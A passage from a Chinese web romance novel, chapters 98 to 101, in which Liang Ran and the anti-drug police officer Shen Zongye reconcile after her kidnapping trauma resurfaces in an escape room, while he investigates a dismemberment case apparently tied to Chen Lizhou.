梁悦还在认真计算,排除误导性线索,但她没有向梁然和沈宗野求助,花了两分钟也算出了答案,拿到了下一关的钥匙。 “哇,我太棒了!姐,我就知道我很厉害哈哈哈!你们跟我走!”梁悦高兴地推开下一关的密室门。 梁然被梁悦牵着,忍不住扬起唇。 下一关的难度也不算大,但是密室的环境多了一点恐怖元素。 梁悦又打开了这一关,推开新的密室。 这扇门里透着幽绿色光,音乐氛围有些恐怖,沈宗野牵住了梁然的手,梁然只是笑了笑,她并不害怕这种人工制造的氛围。 梁悦也不害怕,还觉得刺激好玩。 这里的题目梁悦算不出来,梁然和沈宗野看了会儿,都推理出了答案,但他们默契地没有直接告诉梁悦,而是引导梁然推理的过程,梁悦顺着他们给的线索自己算出了下一扇门的开关。 “我真的是个小天才啊!”梁悦哈哈冲到前头。 梁然好笑地看沈宗野。 “谢谢你啊。” “谢我什么?”沈宗野问。 “陪我演戏。” “不用谢,在宁城你已经看过我演技了。” 梁然忍不住一笑。 “姐,这里好像有点恐怖……”梁悦忽然呜呜地尖叫一声,吓得跳到沈宗野和梁然身后。 那是墙上开关触发的一个人偶,披头散发,突然弹出来确实会吓到人。 沈宗野留心着梁然,梁然在这种地方是没有梁悦那么害怕的。 沈宗野知道梁然骨子里其实很勇敢,不然在宁城时她不会明知他当时是毒贩还接近他。 梁悦见没有危险,冲去墙上找题目,将一个写着线索的瓶子递给梁然一起解读。 梁然伸手去接时,密室里的绿光忽然变作红光,天花板掉下绳索捆绑的一个道具。 道具落到地板上,那道绳索却在梁然抬手去接梁悦的瓶子时被她误穿进去。 绳索的圈很空很大,梁然的手穿进里面明明可以轻松拿出。 但她却像被魔法定格,不敢挪动,身体颤抖。她发出尖锐的哭声,纤长的身影都惊惧地抖动。 “不要——” 沈宗野抱住梁然,迅速扯断了绳索。 办过那么多案子,沈宗野知道梁然这会儿恐怕是被套住的绳索勾起以前被绑架过的经历。 “梁然,别怕,别害怕,我们在安全的地方,我们是在玩游戏,没有人可以伤害你。” 沈宗野眼眸沉冷,像哄宝宝一样拍着梁然的后背:“然然,我在这,悦悦在这,你别害怕,那些都过去了——” 沈宗野在宁城时也曾绑过梁然,那时她眼底的恐惧他现在都记得。 沈宗野嗓音无比低柔,他后悔陪梁悦到这里玩了,也后悔在宁城时那样对待过梁然。 这是最后一关密室,前面通道的门是封闭的,没有找到正确线索还打不开这扇密室的门。 梁然的身体还在发抖,她的腿也是软的,整个人都埋在沈宗野胸膛里紧紧抱住他,连呼吸都急促。 沈宗野直接踹了门,抱着梁然出去,走到灯光明亮的地方。 梁悦不停说对不起,自责得哭了起来。 沈宗野抚摸着梁然头发,亲吻她额头:“梁然,没事了,过去了,我不会再让你遭受那些。” 梁然把头缩在沈宗野胸膛,她听着沈宗野的心跳,在温柔的嗓音里感受这份皮肤的滚烫,终于让自己冷静下来。 梁悦在哭,梁然终于一点点站稳,双腿不再发软,去抱梁悦。 “悦悦,没关系,我没事了,姐姐好了,对不起,把你吓坏了吧……” 梁然浮起笑安慰梁悦。 灯光下她皮肤白到几乎破碎,这抹笑让沈宗野心脏被碾压似的疼。 梁悦紧紧抱着梁然,哭着说对不起。 梁然笑着安慰她,声音温柔。 沈宗野紧抿薄唇,梁然微红的眼眶深烙在他眸底。 工作人员来询问出了什么事情,又说门坏损了,他们要去查监控。 沈宗野过去处理了赔付,回来时梁然和梁悦的情绪已经调整,梁悦紧紧抱着梁然的手臂,很愧疚又很依赖梁然。梁然明明也那么脆弱,却像一只大雁般护着矮她一头的妹妹。 沈宗野将她们送到家。 梁悦请求似地望着沈宗野,问梁然:“姐,哥哥今晚能住我们家吗?” 梁然说:“他不忙就可以。” 梁然看向沈宗野的眼里多了一抹月光似的柔。 沈宗野紧望梁然,跟她们进了房门。 回到房间,梁然在说:“如果你明天……” 沈宗野将她揽到了胸膛,狠狠收紧手臂。 他抚摸梁然的头发,吻她额头,她的手腕。他眼眶里生起干净的怜惜。 梁然忽然红了眼眶。 “梁然,以后不会再有这些事情发生了。” “可是如果我爱上你,和你在一起,这些还是可能会发生。”梁然说。 沈宗野被堵住了所有语言,喉头痛涩。 他的职业那么危险,他妈妈就是最明显的例子,没有丈夫陪伴,被丈夫的职业牵连,被毒贩报复,患上严重的心理疾病,苦过了接近十年才终于找回安稳的幸福。 沈宗野不知道如何面对梁然的话。 “沈宗野,你休假的那一个月我们太快乐了,我喜欢你在我的房子里,我喜欢回家看到的是你,我喜欢我早上睁开眼时你抱住我,你给我做的精致的早餐。我也喜欢我们做的时候,你隐忍又着迷的样子,你吻着我的手腕。我太贪恋这种快乐了,我觉得好幸福。” 梁然在沈宗野不敢面对她的眼神里说着这些话,这也是她这些天想了很久,愿意坦明的话。 “这段时间我在想,我要松手放走你,放走这段幸福吗?趁我没有爱上你,放下你应该很容易,可是,还是会有些舍不得呢。” “有天晚上我又梦到了被绑架的事,我不知道为什么在宁城时我敢去接近你,明明当时以为你是毒贩,接近你会很危险,也许那个时候是想为了我爸爸找到证据,是想保护好我妹妹,所以带着仇恨才不会害怕吧。被绑架已经过去四年了,我竟然还是会害怕。” 说到这里,梁然的身体开始有些颤抖。 沈宗野抱住梁然,想让她别再回忆。 他很了解受害者去回忆这些痛苦的事会有应激的反应。那次林甄说起这桩事后沈宗野没有问过梁然,就是不希望勾起她不好的回忆,但他不知道梁然如今还会这么痛苦。 现在,他懂了梁然的退避,他没有办法自私地强求梁然继续维系他们的关系,可他又舍不得放手。如果梁然现在是快乐的,他也许可以松开手,但是他知道她现在不快乐。 梁然的身体仍在发抖,但她鼓足了勇气回忆下去,她想直面这份恐怖的记忆。 “我被那个吸毒的男生绑架,他抓着我的腿想、想强,暴我,想杀我,我叫‘爸爸救我’,那种恐惧和无助我真的会害怕。你知道吗,等我高烧醒过来,病房里站满了人,我认真看也只有两个警察,当时就只觉得眼前乌压压一片人,乌压压的黑夜。我的情绪很差,他们反复问我案发的经过,反复要我去复述每个细节……我已经说得很清楚了啊,他们竟然会问我那个男生是哪只手抓我的腿,是分、分开我的腿,还是……”梁然说不下去,她用了全力,紧握着拳,浑身仍在发抖,“那种感觉……真的很恐怖啊。” “我知道,对不起……”沈宗野紧紧地抱梁然。 “你和我说什么对不起呢。”梁然勉强地浮起笑,在沈宗野滚烫的拥抱里不再那么发抖,她说,“我挺感谢你的,我知道你对我很照顾。” “沈宗野,你身上有一股力量在吸引我,不知道是什么,我沉浸在这股力量里觉得很安全,但是矛盾的是我又担心你的职业。”梁然抬起眼,她的眼眶湿红,灯下泛起光点。 “你会像林甄那样为了我换一份职业吗?” 沈宗野无法直视梁然眼里的光,无法给出这个答案。 他实在觉得压抑憋闷极了,喉头的痛涩无法宣泄,但他不想回避,他迎着梁然微红的眼睛:“对不起,梁然。至少在我没有让这个警号拿到一等功前,我不会放弃我的职业。” 他想说毒品害了很多无辜的人,甚至在满清如果没有鸦片,国家不会落后那么多年。他想说除了继承他爸爸的职业,他也爱上了这份信仰。 为什么缉毒警察这么危险的警种会一直有人前仆后继,他们藏匿在大众都看不到的隐蔽线上,也许永远都没有回程,也许一去就再也看不到阳光,但还是愿意坚守在这条隐蔽线上,是因为他们把缉毒当成了一份责任。 如果再也没有人去做这么危险的事情了,那谁还敢在走在深夜的街头,谁敢喝外面饭店里的水,谁敢和网友见面,谁敢走在路上去帮助陌生人。 他需要去维护这个社会的秩序,但是他拿起责任好像就无法爱她。 梁然的眼睛这么漂亮,这双桃花眼里碾着花瓣的娇,可是光点在剥落。 沈宗野垂下视线,背过修长的身躯。 一滴泪无声滚落,消失在脚下云朵般的地毯上。 第99章 第99章月色正浓 他的腰间落下一双白皙的手臂。 梁然从背后圈住了他的腰。 沈宗野身形震颤。 “那我们回到之前的关系吧,你还愿意吗?”梁然低柔的嗓音有些苦笑,“我还是很喜欢你,很喜欢你。如果哪天你拿到了这个一等功,我们又还在一起,说不定那时候你不做警察了呢。” “沈宗野,你说会吗?” 沈宗野猛地转回身,紧紧抱住梁然。 他埋在她颈项间,眼泪滚滴落进了她头发里。沈宗野勾起薄唇笑了,还好梁然看不见。 …… 第二天阳光明媚,八月底的太阳依旧热辣。 沈宗野又请了假,王有为火冒三丈,沈宗野直接挂了电话,反正他已经请示过了,回去再挨批评吧。 他带着梁然开车将梁悦送回怀城,陪梁悦去学校报道。 送走梁悦,沈宗野牵着梁然走出拥挤的校园。 报道的第一天,怀城一中人山人海,四周许多青春年少的面孔,校门外的梧桐长道上也多了摆摊的小车。 梁然看到彩色的棉花糖。 沈宗野顺着她视线望去,好笑问:“你想吃?” “我才不想,糖分都超标了。是悦悦以前喜欢,不过她现在也很少吃了,小孩子已经长大了。” 沈宗野弯起薄唇。 路边有个摊位前卖着女生的头绳,长长的摊桌声势浩大摆了三四米长,围满了叽叽喳喳的女学生。 沈宗野拉着梁然过去。 梁然微愣:“我不买东西。” “去看看。” 沈宗野是看中了一个方巾发圈,米白色的发圈上没有花纹,素得像天空一卷云。 他们过来后,原本在挑选的女学生们看到他们,叽叽喳喳不知道在悄悄说什么,瞅过来的眼神有些嗑CP的兴奋。 梁然跟一群高中生站在一起有些不自然。 沈宗野说:“你别动,我试试。” 沈宗野手指梳起梁然的卷发,用发圈绑出一个低马尾,米白色方巾素雅又温柔,梁然是第一次绑这种发圈。 “很好看。” 沈宗野勾起薄唇,掏钱买了。 梁然好笑地抿起唇。 他们牵着手准备去车上,竟然在停车场遇到了江凛。 梁然和沈宗野都很意外。 江凛也是,看到他们俩,江凛挑了挑眉,视线落在他们紧扣的手上。 江凛冷哼:“行啊沈淮宗,你现在跟心上人和好了,把我要搞成单身汉了。” 沈宗野忍俊不禁,勾起薄唇:“你来办案?” “嗯。” “就你一个人,你搭档呢?” “去买水了。”江凛表情看不出什么轻松。 沈宗野说:“案子棘手?” “带错人了,应该带个女警跟我过来,对方是个女学生,我们两个男人刚才把人吓到了。”江凛看了眼梁然,有些欲言又止,但没有再开口。 沈宗野倒是看出江凛想干什么。 梁然很聪明,也看出江凛应该是想找她帮忙,但又觉得不符合办案流程,才没开口。 梁然用眼神示意沈宗野她倒是可以帮忙。 沈宗野便问江凛:“什么案子?” “在宁城发现一具男性尸体,很邪乎,肢解后被水泥封尸,法医尸检验明死亡时间应该在今年五月或六月份。” 沈宗野听到水泥封尸掀起眼皮,他嗓音低沉:“我看下。” 江凛把档案递给沈宗野。 “宁城的案子为什么落到南城?”沈宗野低头看起死者资料。 “这案子几个省都在追,法医说死者有长期的吸毒史,我们对比了失踪人口,死者可能跟怀城一中一名女学生失踪的爸爸有关,这趟过来是带她去做个DNA比对。如果确定是档案上这个人,他之前也在南城务过工。你还不知道我们队,老赵死命抓业绩。” 沈宗野盯着尸检报告,目光随着一行行文字沉下去。 梁然就在沈宗野身边,档案上的内容不想看也能看到,她在沈宗野翻到尸体照片时忙避开视线,等了很久,直到沈宗野翻过那几页,她才敢摆正视线。 梁然只是随意地扫了眼档案,目光却忽然定住。 她盯着一寸照片上的中年男人:“这个人……我可能见过。” 沈宗野抬起眼,他的眼睛深邃锐利,办案时极有压迫感,可能是因为这个人有长期吸毒史,他才格外关注。 沈宗野的眼神让梁然有些吓到,她忙解释:“我只是说可能,我看这张照片很像我之前在宁城见到的一个男人。” “在宁城,什么时候,你印象怎么会这么清楚?”沈宗野问。 “因为他的手在抖,他可能是有疾病吧,有一只手一直抖动,所以我印象才会比较深。” 梁然是在除夕前一天去寄信时见到过这个人。 那几天沈宗野都不理她,她把写好的信送去附近邮筒,除夕的前一天街道上没什么行人,当时又是晚上,因此梁然看到那两个人时才会留意。 梁然将这些说完:“我回头了两次都看到他们,他们就进了路边一家面馆,我投完信就走了。” 江凛问:“还是两个人?另一个人的长相你还有印象吗?” “我没注意,因为这个人的手一直在抖,我才多看了他一眼。” 沈宗野的目光极深,他薄唇紧绷,办案时整个人气场严冷。 梁然说:“你这么紧张干嘛,跟我肯定没有关系。” 沈宗野的确是担心梁然。 本来以为这只是个刑事案件,不曾想梁然还见过这个人。 江凛说:“按照法医的检查,死者右臂的确有神经压迫,日常会伴随抖动的症状。” 到这一步,江凛也没再避讳,带上沈宗野和梁然去见了死者的女儿。小姑娘害怕两个高大严肃的警察,有梁然在旁倒没有那么胆怯了。 回到南城,沈宗野将梁然送到家里,眼神还是有些紧张严肃。 梁然失笑:“你不用担心我,我那时也只是偶然碰到这个人了。” 只是梁然忽然收起了笑容,她想到了一件事,她的信被盗了。当时邮局外的监控被毁坏,看不到是谁损坏了邮筒盗走信,事后她的信又被寄出,虽然这些都是陈沥周干的,但陈沥周至今也没承认过,只是梁然默认为是他的行为。 如果当时她的信不是陈沥周盗走的,而是死者和他旁边那个男人呢? 沈宗野自然也是想到了这里,所以今天情绪才会这么紧绷。 梁然说:“你别担心我,这个人跟我没什么关系,你先去工作吧。” 沈宗野点点头:“今晚不出门吧?” 梁然失笑:“也不用这么紧张。” 沈宗野见过的阴暗面实在太多,即便梁然正常地走在路上,如今他也会很担心梁然。 梁然说:“我不出门,等你回来。” 沈宗野笑了笑:“好,我先回局里一趟。” 回到局里。 沈宗野直接翻起宁城案相关的卷宗,又在追问江凛这个案子的进展。 江凛给了他一个新的线索。 “刚刚查到死者的女儿从县城的普通高中转学到怀城一中,是一个叫孟曦的女性办理的手续,孟曦是登峰智能科技总裁陈沥周的助理……” 沈宗野脸色很严肃。 他叫来谢天明查起了宁城案的卷宗。 他这头在已结案的卷宗上也找不出有用的线索,谢天明告诉他:“你也别这么紧张,现在当务之急是弄清楚这个死者和陈沥周有什么联系,叫嫂子不要再和陈沥周走近。” 窗外暗夜压着乌色的云团。 沈宗野以为他抓完了董自新,抓完了向邬道和姜义,所有和梁然有关联的坏人就全部肃清了,但现在又冒出一个死者和失踪的陈沥周。 谢天明说:“说不定这个陈沥周现在也凶多吉少了,不会影响到嫂子。” 沈宗野嗓音低沉:“你就没想过他万一真是董自新的儿子,轻松二号是不是他做的?” 如果陈沥周继承了董自新的贩毒集团呢? 要知道査帕没死,还在泰国隐匿,董自新身边的得力干将徐川也没被捕,沈宗野不得不去推测最坏的结果。 他收起了卷宗,去宿舍换下警服,动作匆忙。 谢天明:“又发现什么线索了,这么着急?” “没有,我该下班了。”沈宗野快速穿好便服,匆匆开车驶入夜色下的车道。 他这一路从来没有嫌过红灯这么漫长,终于开回梁然的小区,沈宗野闯入电梯,直奔梁然的家。 他几乎是冲进了客厅,连鞋都来不及换。 梁然拿着手机在给葡萄拍照片,被他的动静吓了一跳。 灯光下,梁然身上穿着浅蓝色睡裙,皮肤在灯下泛着细腻的白,见到他这么冒失紧张的样子,她原本责备的话变成了唇边的笑。 “沈宗野,要不要这么……” 沈宗野冲过来抱紧了梁然。 他手臂勒在她白皙的后背,呼吸才终于有些奔跑后的急喘。 “那名死者可能与陈沥周有关,他女儿就读的学校是陈沥周的助理一手办理的。梁然,如果陈沥周再联系你,你一定要告诉我,不要轻信他任何话。” 梁然愣住:“可是这么一来陈沥周是不是也很危险?” 沈宗野犹豫了片刻:“我推测陈沥周的父亲可能是董自新,但是我没有证据,只凭推测,目前我只能凭董自新的母亲和陈沥周的奶奶找到他们的共通点,所以你一定不要轻信陈沥周。” 梁然失神了好久。 她实在不敢信这个推测,陈沥周是一个善良的人,他那么杰出优秀,怎么可能会有一个贩毒的父亲。而且他在寻找杀害他妈妈的凶手,她实在不敢去信他是一个坏人。 沈宗野眼里依旧会有对梁然的紧张,也是严肃的告诫。 梁然轻轻点头:“我记住了。” 她忽然想起沈宗野刚才的话:“董自新的母亲和陈沥周的奶奶会是同一个人?你把照片给我看看,我见过董自新的奶奶。” 沈宗野又一时顿住:“你还见过他奶奶?什么时候。” 梁然把之前在陈沥周公司的宴会上见过陈沥周奶奶的经过说完。 沈宗野脸色并不好,没有因为得到线索而轻松,相反,他反倒因为梁然接触得越多越严肃。 “你还有印象吗?有印象的话把这个老太太画出来。” 梁然也才知道连沈宗野他们都没有这个老人的信息。 她凭记忆画出印象里的样子,也不能保证五官面貌有几分像,只是把当时老人消瘦、矮小、捻着菩提子的形象都画了出来。 沈宗野说会去调取陈沥周公司开业宴会上的视频找出这个老人。 他脸色还深郁,挺拔的鼻梁上一双眼眸深邃锐利。 梁然搂住沈宗野脖子:“你不会现在就想去查案子吧?” 沈宗野失笑,亲了亲梁然手腕:“这么晚了,也查不到什么线索,明天我再回局里查。” “我帮了你的忙。” “那要我怎么谢你?”沈宗野吻住梁然手指。 指尖缠上滚烫的呼吸,梁然的视线落在沈宗野身上。他应该来得急,黑色短袖衬衫都来不及扣,里面是白色背心,裤子都是警服的那条制式西裤,上半身几分野痞,下半身挺括正气。 “我们有多久没有好好在一起了?”梁然说。 沈宗野:“很久了。”他勾住梁然的腰,亲了亲她脸颊。 家里只有葡萄在攀岩墙上玩耍,梁悦一走,季阿姨也恢复了以前的工作时间,晚上不在这里。 梁然只是很轻的力量,便将沈宗野按倒在背后的沙发上。 他靠坐在柔软的沙发上,长腿舒展,头颅微昂,喉结在气息吞吐间滚动。 梁然好笑地抿起红唇,坐在了沈宗野双腿上。 怎么能有一个男人把简简单单的白色背心穿得这么好看,没有一点腻气,清爽、野性,干净的棉包裹着力量感的线条。常年户外粗粝的缉毒工作让沈宗野双臂和脖颈都是健康的麦色,但只有梁然知道他的皮肤其实很干净,月光色的白,棉花糖轻盈的粉,握着她腰时鼓起青色筋络,她像是他滋养生长的花。 梁然顺着沈宗野的视线垂眸,好笑地弯起红唇:“好看吗?” 浅蓝色睡裙在灯下泛起缎光,和那灼眼的盈着水的白。 沈宗野喉结轻滚,深眸充满危险的气息,骨节分明的手指解着制式西裤的皮带。 沈宗野是梁然想靠近的那股无法舍弃的力量。 梁然是沈宗野摘入掌心却也害怕失去的月亮。 今夜起风了,落地窗外月色正浓。 第100章 第100章“然然,是你自找的。…… 沈宗野第二天回到局里就开始查陈沥周公司的开业宴会。 他没办法明着查,毕竟陈沥周没有任何犯罪行为。 谢天明之前安排在陈沥周公司的那个眼线就起到了作用。 男生本来是收了钱去那里上班的,一个月领谢天明一份工资,公司一份工资,后来案子办完谢天明不再给工资了,没想到男生在那里干得很轻松,舍不得走了。 这次谢天明又给了笔钱,男生帮他要到了开业宴会上的视频录像。 但这段视频完全有明显被剪辑过的痕迹,明明是一段不对外公开的视频,却依旧被明显地剪辑掉了有陈沥周奶奶出现的画面,很难不让沈宗野加重他的推断。 有这条线索后要查总有办法,沈宗野让那名男生去查陈沥周奶奶的车牌号,果然在那天的宴会酒店查出了当天的车辆登记信息。 沈宗野一心扑在案子上,盯着这辆车在天网系统留下的行迹,每天都在排查,企图在密集的车流里找到这辆车都去过哪里。 梁然的电话打来时,沈宗野已经连续盯在电脑前面六个小时,视线从屏幕挪开时,双眼有些肿胀发痛。 梁然说:“这几天案子很忙吗?” “还在找陈沥周奶奶的线索。” 梁然顿了片刻,问:“你是怕陈沥周伤害到我吗?” “嗯。”沈宗野没日没夜查这个老人就是想找出陈沥周在哪里。 现在不知道陈沥周是生是死,如果陈沥周没有喜欢梁然,沈宗野或许不会这么没日没夜地查一个扑风捉影的线索。 梁然说:“天都黑了,今晚要下雨了。” 沈宗野从电脑前走到窗外,夜里七点的天空已经暗下来,夜空被城市的灯光点亮,一层浅浅的藏蓝在天际铺开。 “那我现在回来吧。”沈宗野揉了揉眉心。 “也不用这样,我可以来找你。” 沈宗野微怔。 梁然在电话里低笑:“我来了,你出来接我。” 对沈宗野来说这完全是巨大的惊喜,他连电话都没挂,修长双腿冲下台阶。 夜色里飘起丝丝细雨,沈宗野穿过夜幕,梁然站在保安室外。 她撑着一把黑伞,像他们初遇时的那把伞,手上拎着一杯饮品。 横穿的夜风吹过梁然笑着的眼睛。 “怎么过来了,你打我电话我可以回去。”沈宗野有些感动,拿过梁然手上的饮品,又从她手上接过伞,牵着她走过门禁栏杆。 禁毒总局很不起眼,地图上没有地址,建筑体上也没有名字,从外看还以为只是片区小型的派出所,往里进去才知道别有洞天。 梁然说:“今晚起风了,我来看看你。” 她示意沈宗野喝手上那杯茶。 “特意给我带的?” “嗯,你不是经常在起风的时候给我买热饮嘛。” 梁然很少会说“呀,嘛”这类音调软软的词,她说这句话时少见的温柔。 沈宗野勾起薄唇,院子里有人经过,不然他实在想低头亲梁然。 他轻轻捏了捏梁然手指。 到了办公室,值班的同事见到梁然揶揄起沈宗野,喊着梁然嫂子。 梁然有些不好意思:“我以为你是一个人,没有给你同事买点喝的。” “不用不用,我们办公室有茶水,嫂子喝点什么?茶叶和咖啡、牛奶都有。” 沈宗野说:“你忙吧,我来招呼她。” 沈宗野今天穿着执勤服,长袖蓝色衬衫的纽扣系到脖子下方,领带打得严谨,端正的警帽上警徽庄严,他穿制服实在很英气。 梁然看了沈宗野一会儿,办公室里有人在,她不好亲沈宗野,她的眼睛就弯起了笑。 沈宗野迎着她昭然明亮的眼睛,喉结轻滚,看了眼天花板的监控,才极力控制他险些越界的行为。 谢天明知道梁然来了,从宿舍里过来陪她。 “嫂子,以后你和沈哥结婚了可得让我当证婚人啊,我要上台发言的,你俩有我好大的功劳!” 梁然抿了抿笑。 沈宗野说:“既然来了你帮我一起盯监控。” 谢天明已经和沈宗野看了两天监控了,眼睛都快看瞎了,只好拿出眼药水上阵。 沈宗野有些犹豫,对梁然说:“让小谢值班吧,我们下班。” “我没关系,今天工作不怎么忙,我等你。”梁然坐在一旁沙发上看沈宗野。 沈宗野重新投入了筛查监控的工作中,想在巨大的车流里面寻找那辆车的痕迹并不容易,只能凭老办法一帧帧查找。这辆车只要出现在街道,就会有痕迹。 又是几个小时过去,沈宗野终于又找到一条行驶轨迹,按路线拉出附近监控,继续查找。 他和谢天明竟真的找到了这辆车出现的最后位置。 在宁城一处码头,监控显示那里有很多私船。 时间已经跳到了0点,沈宗野如释重负抬起头,梁然已经支在沙发上睡着了。 她身上盖着沈宗野给她的毛毯,衬衫袖子从支起的手腕上滑落,露出一截白皙的手臂,灯光下,梁然闭眼睡得沉静。 谢天明哈欠连天,用眼神示意沈宗野赶紧带梁然下班。 沈宗野俯身去抱梁然,梁然在他的动作里醒了过来。 刚睁开眼,她的视线有些未清醒的迷惘,看清他时才轻轻抿起唇:“忙完了?” “嗯,找到线索了,这个老太太乘船消失了,但我已经锁定了她清晰的照片,明天再查。我们回家吧。” “陈沥周没有在监控上吗?” “没有。” “他会不会有事?” “你担心他?” “嗯,他是个好人,我相信他不会骗我。” 沈宗野沉吟了片刻,他眼眸有些危险,带着警告,但对梁然却不严肃。 “然然,不要和他走得太近,就算他是个好人,他身边也充满了危险。” “我知道。”梁然说,“我们回家吧。” 这里离沈宗野的家很近,但沈宗野说回梁然的家,好方便她明早多睡一会儿。 回到家里,梁然洗完澡就困得躺在床上接着睡着了。 沈宗野在次卧的浴室里洗漱完回到房间,梁然侧睡着,手臂纤长,搂着被子,一双白皙的脚露在被子外头。 沈宗野盯着脚趾上漂亮的美甲颜色,喉结滑动,替梁然盖上了被子。 梁然朦朦胧胧地睁一只眼:“嗯?沈宗野,你怎么还穿着警服……”她含糊地说完又闭着眼睛继续睡了。 第二天早上吃早餐的时候,梁然本来是低头在喝黑米粥的,忽然就抬起头看着沈宗野。 她好半天没说话。 沈宗野:“怎么了?” “你昨天晚上洗澡了吗?” “洗了,怎么了?” “那你还穿着警服?” 沈宗野的眼眸越来越深。 梁然忽然就懂了他昨晚是想干嘛,她咬着白瓷勺子笑了起来,餐桌下的脚忽然就想撩他,脚趾从他小腿掠上。 沈宗野双眼越来越幽深,他很淡定,像在宁城时那样不动如风,慢斯条理擦着嘴唇,轻飘飘搁下白瓷勺子起身。 但他弯下腰抱起梁然时,浑身都是危险的气息,直接将梁然扔到了卧室床上,解着警制皮带…… 梁然忍着笑,起身要下床:“我不干,我要去上班。” “晚了。”沈宗野俯下身,拉过梁然想逃的脚踝,他的动作实在温柔,但是眼神又那么危险粗野,“然然,是你自找的。” …… 梁然第一次体验了“自找的”三个字具象化起来有多吃不消。 到公司已经十点多,错过了早会。 梁然觉得如果不是她意志没有完全溃散,坚持要来上班,她今天真的要出不了门了。 乔思嘉来到梁然办公室:“姐妹,你是吃得太好了吗,又迟到。” 梁然朝乔思嘉递了一记白眼:“我就今天迟到好吗。” “我发现你越来越可爱了。”乔思嘉笑。 梁然挑眉:“你在说我?”她失笑,“从来没人说过我可爱。” 哦,沈宗野说过。 梁然打开电脑开始进入今天的工作状态,不过她忽然想起来:“你和江凛还在冷战?” “对啊。” “怎么了?”梁然关心着乔思嘉,问着原因。 乔思嘉说从那天后她和江凛吵了一架,梁然和沈宗野的事只是他们争吵的导火索,事实是乔思嘉觉得江凛太忙了,工作那么辛苦,她又每天都在担心他,觉得日子过得好辛苦。那些梦话不过是委屈时候的小抱怨,结果江凛还真听进去了,对她那么狠。乔思嘉从小被乔父乔母捧在手心里长大,哪里见过江凛发威动怒,那么严厉地警告她。 乔思嘉说:“给他点颜色他就想开染坊,我才不惯他。” 梁然:“晚上我让沈宗野叫江凛出来吃顿饭吧。” “你别管,他忙得哪有时间管我啊。” 江凛查这个水泥碎尸案的确很忙,宁城怀城连轴转,如今死者身份已经查明。 死者叫李建安,38岁,是一名接各种散工的务工人员,有长期的吸毒史。 根据李建安的消费账单,江凛和宁城的警察走访了李建安生前常出没的地方,查到他是一个很拮据的人,跟他合租的人叫郑贵。郑贵的信息一输入公安系统,跟今年三月在桥洞下发现的一名吸毒过量导致呼吸骤停死亡的男性对上了。 从李建安身上找不到的线索在郑贵身上查出了蛛丝马迹。 郑贵曾在酒吧、歌舞厅等场所打听过吸食毒品的人,他似乎在售卖一种彩虹色的药丸。 线索递到沈宗野这里,沈宗野有了理由去查陈沥周这名助理。 宁城警方已经传了孟曦到审讯室,孟曦交代她只是替老板办事,是老板为李建安的女儿办理的转学,还承担了后续所有费用。 根据孟曦的口供,陈沥周心情低落,在车上流泪的那段时间刚好能与李建安的死亡日期吻合。 线索查到这里就断掉了,再没有后续的有效信息。 但从水泥封尸,还将尸体残忍肢解的作案手法来看,实在像董自新的手段。 这个案子查到现在已经又过去了十天。 这些天沈宗野几乎都在局里,抓捕毒贩和查案两头兼顾,陪梁然的时间少之又有少。 下了班,沈宗野终于有时间开车去接梁然。 …… 梁然在南湖在建的美术馆工地上,今天过来验查A馆。 梁然结束工作时,陆朝也来了,她又陪陆朝查验了一圈,介绍着施工进度。 结束后,陆朝说:“吃顿饭吧,去上次那家餐厅。” 梁然在酝酿怎么回答,看了眼腕表。 陆朝问:“你不方便,还是介意上次的事?” 梁然:“上次我喝醉的事?” “是。” 梁然抿起唇:“您上次已经跟我解释过了,我相信您。” 陆朝隔天就和梁然解释,他当时的确是想带她去酒店安顿,想增加她对他的好感,把她送到酒店他会在隔壁的房间里休息,他还做不来趁人之危的事。 梁然也相信陆朝一个知名人物不会做这种有损他本身形象的事情,陆朝形象有损,集团的股票也会有影响,梁然介意的倒不是这个。 她知道沈宗野吃陆朝的醋,她是怕沈宗野等下过来又要再吃一遍醋,而且她已经有几天没见过沈宗野了。 她想见他。 她想他。 “现在称呼我都成‘您’了?”陆朝冷笑一声,倒不见得生气,而是认真对梁然说,“你不会把我赶出排队行列了吧。” 对陆朝认真的神态,梁然敛了笑,同样郑重地说:“我男朋友要来接我,你也看到他那天穿着警服,是一名警察,我有很多天没见到他了。而且我和他感情稳定,会一直谈下去,我不想耽误你。” 陆朝有些阴郁,被直接拒绝他脸色不算好看,他认真望着梁然。 “你男朋友是个警察,他的收入与职业的风险和你完全不匹配。就算我再忙,我也忙不过一个基层小警察吧。” 陆朝不再多言,他目光很深:“梁然,国际知名的建筑师下个月在迪拜举办私人沙龙,我随时可以为你约到入场券。” 陆朝的视线落到展馆门外。 梁然顺着他的眼神回头,沈宗野站在那里。 这一次的沈宗野不再穿着一身黑色,也不再与夜色融为一体,他好像多了胸有成竹的笃定。在他们回头望过来时,他勾起薄唇朝他们低笑打招呼,身影修长卓立,一双眼睛容纳了盛世的太平。【你现在阅读的是魔蝎小说 moxiexs】 100-110 第101章 第101章“沈宗野,你给我买个…… 梁然回复陆朝的话:“很诱人,我确实很心动。但我现在不想错过我男朋友。” 陆朝不怒反笑,他的眼神也更冷静:“你去吧。你这么拒绝我,我反倒更想看到你接受我那天会是什么样子。” 梁然走向了沈宗野。 晚风拂过,她的卷发在风里飘动。 见到彼此,梁然和沈宗野都挂着笑。 梁然今天穿着一身挺括掐腰的黑色西装,整个人又飒又美,看起来就是头脑很聪明的清冷大美人。 沈宗野牵过梁然的手:“那男的又在跟你示好?” “你听到了?” “隔这么远,听不到,我猜的。” 梁然笑:“那你猜得蛮准,这次我都心动了。” 沈宗野捏住她的手,用了力。 梁然假装说好疼。 沈宗野明知道她是假装的,还是笑着松了力量。 梁然说:“他要带我去迪拜呢,参加国际顶尖的建筑师沙龙,真的好有诱惑力。” 沈宗野薄唇边浮起一抹笑。 “你笑什么?”梁然说,“你不应该很紧张吗?” “是有点紧张,但我知道你不会答应。”沈宗野望进梁然的眼睛,“我知道你总有一天也会成为顶尖的建筑师。” 虽然这话有九分都是沈宗野对她的滤镜,但这也有梁然的梦想在,她忍不住笑了起来。 “沈宗野,你给我买个戒指吧。” 沈宗野怔住,眼里的光紧落在梁然眼中。 梁然说:“情侣戒指。” “好。”沈宗野声线低沉,牵着梁然的那只掌心都在这一声郑重的回应里惊起颤动。 早秋的晚风是温柔沁凉的,掺着梁然身上那股寂雪的兰香都映在了沈宗野的嗅觉与体感中,才让他熬过那么多潮湿的岁月。 说完买戒指,沈宗野直接将车开到了一家珠宝店。 明明说好是情侣戒指,沈宗野却一眼看中了一颗钻戒。 柜员眼尖,顺势取出钻戒,专捡好听话:“先生真是好眼光呢,这款钻戒叫永恒之心,代表永恒独一的爱情,钻石的净度都是顶级,三克拉日常不夸张又很有存在感……” 